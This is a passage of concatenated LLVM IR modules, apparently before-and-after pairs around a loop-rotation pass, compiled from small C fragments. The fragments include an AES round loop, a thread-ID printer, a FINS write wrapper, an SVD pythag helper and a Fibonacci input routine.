attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpc_h0a03z.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @mostraplinha(i8 noundef signext %0) #0 {
%2 = alloca i8, align 1
store i8 %0, ptr %2, align 1
%3 = load i8, ptr %2, align 1
%4 = call i32 @LCD_Out(i32 noundef 1, i32 noundef 1, i8 noundef signext %3)
ret void
}
declare i32 @LCD_Out(i32 noundef, i32 noundef, i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp9wel3nct.c'
source_filename = "/tmp/tmp9wel3nct.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @Encrypt(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
store i32 0, ptr %5, align 4
br label %6
6: ; preds = %22, %2
%7 = load i32, ptr %5, align 4
%8 = icmp slt i32 %7, 16
br i1 %8, label %9, label %25
9: ; preds = %6
%10 = load ptr, ptr %4, align 8
%11 = load i32, ptr %5, align 4
%12 = sext i32 %11 to i64
%13 = getelementptr inbounds i32, ptr %10, i64 %12
%14 = load i32, ptr %13, align 4
%15 = call i32 @READ_ROUND_KEY_BYTE(i32 noundef %14)
%16 = load ptr, ptr %3, align 8
%17 = load i32, ptr %5, align 4
%18 = sext i32 %17 to i64
%19 = getelementptr inbounds i32, ptr %16, i64 %18
%20 = load i32, ptr %19, align 4
%21 = xor i32 %20, %15
store i32 %21, ptr %19, align 4
br label %22
22: ; preds = %9
%23 = load i32, ptr %5, align 4
%24 = add nsw i32 %23, 1
store i32 %24, ptr %5, align 4
br label %6, !llvm.loop !6
25: ; preds = %6
store i32 1, ptr %5, align 4
br label %26
26: ; preds = %37, %25
%27 = load i32, ptr %5, align 4
%28 = icmp slt i32 %27, 10
br i1 %28, label %29, label %40
29: ; preds = %26
%30 = load ptr, ptr %3, align 8
%31 = load ptr, ptr %4, align 8
%32 = load i32, ptr %5, align 4
%33 = mul nsw i32 16, %32
%34 = sext i32 %33 to i64
%35 = getelementptr inbounds i32, ptr %31, i64 %34
%36 = call i32 @aes_enc_round(ptr noundef %30, ptr noundef %35)
br label %37
37: ; preds = %29
%38 = load i32, ptr %5, align 4
%39 = add nsw i32 %38, 1
store i32 %39, ptr %5, align 4
br label %26, !llvm.loop !8
40: ; preds = %26
%41 = load ptr, ptr %3, align 8
%42 = load ptr, ptr %4, align 8
%43 = getelementptr inbounds i32, ptr %42, i64 160
%44 = call i32 @aes_enc_lastround(ptr noundef %41, ptr noundef %43)
ret void
}
declare i32 @READ_ROUND_KEY_BYTE(i32 noundef) #1
declare i32 @aes_enc_round(ptr noundef, ptr noundef) #1
declare i32 @aes_enc_lastround(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp9wel3nct.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @Encrypt(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
store i32 0, ptr %5, align 4
%6 = load i32, ptr %5, align 4
%7 = icmp slt i32 %6, 16
br i1 %7, label %.lr.ph, label %26
.lr.ph: ; preds = %2
br label %8
8: ; preds = %.lr.ph, %21
%9 = load ptr, ptr %4, align 8
%10 = load i32, ptr %5, align 4
%11 = sext i32 %10 to i64
%12 = getelementptr inbounds i32, ptr %9, i64 %11
%13 = load i32, ptr %12, align 4
%14 = call i32 @READ_ROUND_KEY_BYTE(i32 noundef %13)
%15 = load ptr, ptr %3, align 8
%16 = load i32, ptr %5, align 4
%17 = sext i32 %16 to i64
%18 = getelementptr inbounds i32, ptr %15, i64 %17
%19 = load i32, ptr %18, align 4
%20 = xor i32 %19, %14
store i32 %20, ptr %18, align 4
br label %21
21: ; preds = %8
%22 = load i32, ptr %5, align 4
%23 = add nsw i32 %22, 1
store i32 %23, ptr %5, align 4
%24 = load i32, ptr %5, align 4
%25 = icmp slt i32 %24, 16
br i1 %25, label %8, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %21
br label %26
26: ; preds = %._crit_edge, %2
store i32 1, ptr %5, align 4
%27 = load i32, ptr %5, align 4
%28 = icmp slt i32 %27, 10
br i1 %28, label %.lr.ph2, label %42
.lr.ph2: ; preds = %26
br label %29
29: ; preds = %.lr.ph2, %37
%30 = load ptr, ptr %3, align 8
%31 = load ptr, ptr %4, align 8
%32 = load i32, ptr %5, align 4
%33 = mul nsw i32 16, %32
%34 = sext i32 %33 to i64
%35 = getelementptr inbounds i32, ptr %31, i64 %34
%36 = call i32 @aes_enc_round(ptr noundef %30, ptr noundef %35)
br label %37
37: ; preds = %29
%38 = load i32, ptr %5, align 4
%39 = add nsw i32 %38, 1
store i32 %39, ptr %5, align 4
%40 = load i32, ptr %5, align 4
%41 = icmp slt i32 %40, 10
br i1 %41, label %29, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %37
br label %42
42: ; preds = %._crit_edge3, %26
%43 = load ptr, ptr %3, align 8
%44 = load ptr, ptr %4, align 8
%45 = getelementptr inbounds i32, ptr %44, i64 160
%46 = call i32 @aes_enc_lastround(ptr noundef %43, ptr noundef %45)
ret void
}
declare i32 @READ_ROUND_KEY_BYTE(i32 noundef) #1
declare i32 @aes_enc_round(ptr noundef, ptr noundef) #1
declare i32 @aes_enc_lastround(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmpcyblbyo3.c'
source_filename = "/tmp/tmpcyblbyo3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [16 x i8] c"TID %ld= %lu.\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @PrintID(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
%4 = alloca i64, align 8
%5 = alloca i64, align 8
store ptr %0, ptr %3, align 8
%6 = load ptr, ptr %3, align 8
%7 = ptrtoint ptr %6 to i64
store i64 %7, ptr %4, align 8
%8 = call i64 (...) @pthread_self()
store i64 %8, ptr %5, align 8
%9 = load i64, ptr %4, align 8
%10 = load i64, ptr %5, align 8
%11 = call i32 @printf(ptr noundef @.str, i64 noundef %9, i64 noundef %10)
%12 = call i32 @pthread_exit(ptr noundef null)
%13 = load ptr, ptr %2, align 8
ret ptr %13
}
declare i64 @pthread_self(...) #1
declare i32 @printf(ptr noundef, i64 noundef, i64 noundef) #1
declare i32 @pthread_exit(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpcyblbyo3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [16 x i8] c"TID %ld= %lu.\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @PrintID(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
%4 = alloca i64, align 8
%5 = alloca i64, align 8
store ptr %0, ptr %3, align 8
%6 = load ptr, ptr %3, align 8
%7 = ptrtoint ptr %6 to i64
store i64 %7, ptr %4, align 8
%8 = call i64 (...) @pthread_self()
store i64 %8, ptr %5, align 8
%9 = load i64, ptr %4, align 8
%10 = load i64, ptr %5, align 8
%11 = call i32 @printf(ptr noundef @.str, i64 noundef %9, i64 noundef %10)
%12 = call i32 @pthread_exit(ptr noundef null)
%13 = load ptr, ptr %2, align 8
ret ptr %13
}
declare i64 @pthread_self(...) #1
declare i32 @printf(ptr noundef, i64 noundef, i64 noundef) #1
declare i32 @pthread_exit(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpvq_9rsmy.c'
source_filename = "/tmp/tmpvq_9rsmy.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @fins_write(ptr noundef %0, i32 noundef %1, i32 noundef %2, i32 noundef %3, ptr noundef %4) #0 {
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca ptr, align 8
store ptr %0, ptr %6, align 8
store i32 %1, ptr %7, align 4
store i32 %2, ptr %8, align 4
store i32 %3, ptr %9, align 4
store ptr %4, ptr %10, align 8
%11 = load ptr, ptr %6, align 8
%12 = load i32, ptr %7, align 4
%13 = load i32, ptr %8, align 4
%14 = load i32, ptr %9, align 4
%15 = load i32, ptr %9, align 4
%16 = load ptr, ptr %10, align 8
%17 = call i32 @fins_command(ptr noundef %11, i32 noundef 1, i32 noundef 2, i32 noundef %12, i32 noundef %13, i32 noundef %14, i32 noundef %15, ptr noundef %16, i32 noundef 0, ptr noundef null)
%18 = load i32, ptr %9, align 4
ret i32 %18
}
declare i32 @fins_command(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, ptr noundef, i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpvq_9rsmy.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @fins_write(ptr noundef %0, i32 noundef %1, i32 noundef %2, i32 noundef %3, ptr noundef %4) #0 {
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca ptr, align 8
store ptr %0, ptr %6, align 8
store i32 %1, ptr %7, align 4
store i32 %2, ptr %8, align 4
store i32 %3, ptr %9, align 4
store ptr %4, ptr %10, align 8
%11 = load ptr, ptr %6, align 8
%12 = load i32, ptr %7, align 4
%13 = load i32, ptr %8, align 4
%14 = load i32, ptr %9, align 4
%15 = load i32, ptr %9, align 4
%16 = load ptr, ptr %10, align 8
%17 = call i32 @fins_command(ptr noundef %11, i32 noundef 1, i32 noundef 2, i32 noundef %12, i32 noundef %13, i32 noundef %14, i32 noundef %15, ptr noundef %16, i32 noundef 0, ptr noundef null)
%18 = load i32, ptr %9, align 4
ret i32 %18
}
declare i32 @fins_command(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, ptr noundef, i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp029dz56m.c'
source_filename = "/tmp/tmp029dz56m.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp029dz56m.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmplp7lw1cw.c'
source_filename = "/tmp/tmplp7lw1cw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @svd_pythag(double noundef %0, double noundef %1) #0 {
%3 = alloca double, align 8
%4 = alloca double, align 8
%5 = alloca double, align 8
%6 = alloca double, align 8
%7 = alloca double, align 8
%8 = alloca double, align 8
%9 = alloca double, align 8
%10 = alloca double, align 8
store double %0, ptr %3, align 8
store double %1, ptr %4, align 8
%11 = load double, ptr %3, align 8
%12 = call i32 @fabs(double noundef %11)
%13 = load double, ptr %4, align 8
%14 = call i32 @fabs(double noundef %13)
%15 = call double @svd_dmax(i32 noundef %12, i32 noundef %14)
store double %15, ptr %5, align 8
%16 = load double, ptr %5, align 8
%17 = fcmp une double %16, 0.000000e+00
br i1 %17, label %18, label %54
18: ; preds = %2
%19 = load double, ptr %3, align 8
%20 = call i32 @fabs(double noundef %19)
%21 = load double, ptr %4, align 8
%22 = call i32 @fabs(double noundef %21)
%23 = call double @svd_dmin(i32 noundef %20, i32 noundef %22)
%24 = load double, ptr %5, align 8
%25 = fdiv double %23, %24
store double %25, ptr %10, align 8
%26 = load double, ptr %10, align 8
%27 = load double, ptr %10, align 8
%28 = fmul double %26, %27
store double %28, ptr %6, align 8
%29 = load double, ptr %6, align 8
%30 = fadd double 4.000000e+00, %29
store double %30, ptr %8, align 8
br label %31
31: ; preds = %34, %18
%32 = load double, ptr %8, align 8
%33 = fcmp une double %32, 4.000000e+00
br i1 %33, label %34, label %53
34: ; preds = %31
%35 = load double, ptr %6, align 8
%36 = load double, ptr %8, align 8
%37 = fdiv double %35, %36
store double %37, ptr %7, align 8
%38 = load double, ptr %7, align 8
%39 = call double @llvm.fmuladd.f64(double 2.000000e+00, double %38, double 1.000000e+00)
store double %39, ptr %9, align 8
%40 = load double, ptr %9, align 8
%41 = load double, ptr %5, align 8
%42 = fmul double %41, %40
store double %42, ptr %5, align 8
%43 = load double, ptr %7, align 8
%44 = load double, ptr %9, align 8
%45 = fdiv double %43, %44
store double %45, ptr %10, align 8
%46 = load double, ptr %10, align 8
%47 = load double, ptr %10, align 8
%48 = fmul double %46, %47
%49 = load double, ptr %6, align 8
%50 = fmul double %49, %48
store double %50, ptr %6, align 8
%51 = load double, ptr %6, align 8
%52 = fadd double 4.000000e+00, %51
store double %52, ptr %8, align 8
br label %31, !llvm.loop !6
53: ; preds = %31
br label %54
54: ; preds = %53, %2
%55 = load double, ptr %5, align 8
ret double %55
}
declare double @svd_dmax(i32 noundef, i32 noundef) #1
declare i32 @fabs(double noundef) #1
declare double @svd_dmin(i32 noundef, i32 noundef) #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmplp7lw1cw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @svd_pythag(double noundef %0, double noundef %1) #0 {
%3 = alloca double, align 8
%4 = alloca double, align 8
%5 = alloca double, align 8
%6 = alloca double, align 8
%7 = alloca double, align 8
%8 = alloca double, align 8
%9 = alloca double, align 8
%10 = alloca double, align 8
store double %0, ptr %3, align 8
store double %1, ptr %4, align 8
%11 = load double, ptr %3, align 8
%12 = call i32 @fabs(double noundef %11)
%13 = load double, ptr %4, align 8
%14 = call i32 @fabs(double noundef %13)
%15 = call double @svd_dmax(i32 noundef %12, i32 noundef %14)
store double %15, ptr %5, align 8
%16 = load double, ptr %5, align 8
%17 = fcmp une double %16, 0.000000e+00
br i1 %17, label %18, label %55
18: ; preds = %2
%19 = load double, ptr %3, align 8
%20 = call i32 @fabs(double noundef %19)
%21 = load double, ptr %4, align 8
%22 = call i32 @fabs(double noundef %21)
%23 = call double @svd_dmin(i32 noundef %20, i32 noundef %22)
%24 = load double, ptr %5, align 8
%25 = fdiv double %23, %24
store double %25, ptr %10, align 8
%26 = load double, ptr %10, align 8
%27 = load double, ptr %10, align 8
%28 = fmul double %26, %27
store double %28, ptr %6, align 8
%29 = load double, ptr %6, align 8
%30 = fadd double 4.000000e+00, %29
store double %30, ptr %8, align 8
%31 = load double, ptr %8, align 8
%32 = fcmp une double %31, 4.000000e+00
br i1 %32, label %.lr.ph, label %54
.lr.ph: ; preds = %18
br label %33
33: ; preds = %.lr.ph, %33
%34 = load double, ptr %6, align 8
%35 = load double, ptr %8, align 8
%36 = fdiv double %34, %35
store double %36, ptr %7, align 8
%37 = load double, ptr %7, align 8
%38 = call double @llvm.fmuladd.f64(double 2.000000e+00, double %37, double 1.000000e+00)
store double %38, ptr %9, align 8
%39 = load double, ptr %9, align 8
%40 = load double, ptr %5, align 8
%41 = fmul double %40, %39
store double %41, ptr %5, align 8
%42 = load double, ptr %7, align 8
%43 = load double, ptr %9, align 8
%44 = fdiv double %42, %43
store double %44, ptr %10, align 8
%45 = load double, ptr %10, align 8
%46 = load double, ptr %10, align 8
%47 = fmul double %45, %46
%48 = load double, ptr %6, align 8
%49 = fmul double %48, %47
store double %49, ptr %6, align 8
%50 = load double, ptr %6, align 8
%51 = fadd double 4.000000e+00, %50
store double %51, ptr %8, align 8
%52 = load double, ptr %8, align 8
%53 = fcmp une double %52, 4.000000e+00
br i1 %53, label %33, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %33
br label %54
54: ; preds = %._crit_edge, %18
br label %55
55: ; preds = %54, %2
%56 = load double, ptr %5, align 8
ret double %56
}
declare double @svd_dmax(i32 noundef, i32 noundef) #1
declare i32 @fabs(double noundef) #1
declare double @svd_dmin(i32 noundef, i32 noundef) #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmp9x49eyxn.c'
source_filename = "/tmp/tmp9x49eyxn.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.1 = private unnamed_addr constant [21 x i8] c"\0Aerror!input again!\0A\00", align 1
@.str.2 = private unnamed_addr constant [33 x i8] c"The %dth fibonacci number is %d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %2, align 4
br label %3
3: ; preds = %7, %0
%4 = call i32 @scanf(ptr noundef @.str, ptr noundef %2)
%5 = icmp ne i32 %4, 0
%6 = xor i1 %5, true
br i1 %6, label %7, label %10
7: ; preds = %3
%8 = call i32 (...) @getchar()
%9 = call i32 (ptr, ...) @printf(ptr noundef @.str.1)
br label %3, !llvm.loop !6
10: ; preds = %3
%11 = load i32, ptr %2, align 4
%12 = load i32, ptr %2, align 4
%13 = call i32 @fib(i32 noundef %12)
%14 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %11, i32 noundef %13)
ret i32 0
}
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @getchar(...) #1
declare i32 @printf(ptr noundef, ...) #1
declare i32 @fib(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
